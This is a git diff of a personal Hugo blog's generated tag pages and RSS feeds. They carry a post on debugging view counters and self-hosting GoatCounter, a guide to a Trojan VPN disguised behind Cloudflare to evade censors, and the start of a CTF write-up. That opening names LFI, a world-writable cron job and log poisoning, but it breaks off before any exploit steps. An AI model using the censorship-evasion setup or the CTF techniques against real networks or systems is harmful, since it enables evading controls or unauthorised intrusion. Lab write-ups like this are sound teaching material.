    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/tuwien/page/1/index.html b/public-clearnet/tags/tuwien/page/1/index.html new file mode 100644 index 0000000..9bf6970 --- /dev/null +++ b/public-clearnet/tags/tuwien/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/tuwien/ + \ No newline at end of file diff --git a/public-clearnet/tags/vercount/index.html b/public-clearnet/tags/vercount/index.html new file mode 100644 index 0000000..a4b1fef --- /dev/null +++ b/public-clearnet/tags/vercount/index.html @@ -0,0 +1,11 @@ +Vercount | AlipourIm journeys +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/vercount/index.xml b/public-clearnet/tags/vercount/index.xml new file mode 100644 index 0000000..d44b0a5 --- /dev/null +++ b/public-clearnet/tags/vercount/index.xml @@ -0,0 +1,336 @@ +Vercount on AlipourIm journeyshttps://blog.alipour.eu/tags/vercount/Recent content in Vercount on AlipourIm journeysHugo -- 0.146.0enSat, 18 Oct 2025 10:45:00 +0000A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/vercount/page/1/index.html b/public-clearnet/tags/vercount/page/1/index.html new file mode 100644 index 0000000..a15a774 --- /dev/null +++ b/public-clearnet/tags/vercount/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/vercount/ + \ No newline at end of file diff --git a/public-clearnet/tags/vpn/index.html b/public-clearnet/tags/vpn/index.html new file mode 100644 index 0000000..bf51e6a --- /dev/null +++ b/public-clearnet/tags/vpn/index.html @@ -0,0 +1,15 @@ +VPN | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/vpn/index.xml b/public-clearnet/tags/vpn/index.xml new file mode 100644 index 0000000..4f3fe22 --- /dev/null +++ b/public-clearnet/tags/vpn/index.xml @@ -0,0 +1,176 @@ +VPN on AlipourIm journeyshttps://blog.alipour.eu/tags/vpn/Recent content in VPN on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/vpn/page/1/index.html b/public-clearnet/tags/vpn/page/1/index.html new file mode 100644 index 0000000..beba111 --- /dev/null +++ b/public-clearnet/tags/vpn/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/vpn/ + \ No newline at end of file diff --git a/public-clearnet/tags/web/index.html b/public-clearnet/tags/web/index.html new file mode 100644 index 0000000..67bba6d --- /dev/null +++ b/public-clearnet/tags/web/index.html @@ -0,0 +1,11 @@ +Web | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/web/index.xml b/public-clearnet/tags/web/index.xml new file mode 100644 index 0000000..5262d94 --- /dev/null +++ b/public-clearnet/tags/web/index.xml @@ -0,0 +1,360 @@ +Web on AlipourIm journeyshttps://blog.alipour.eu/tags/web/Recent content in Web on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

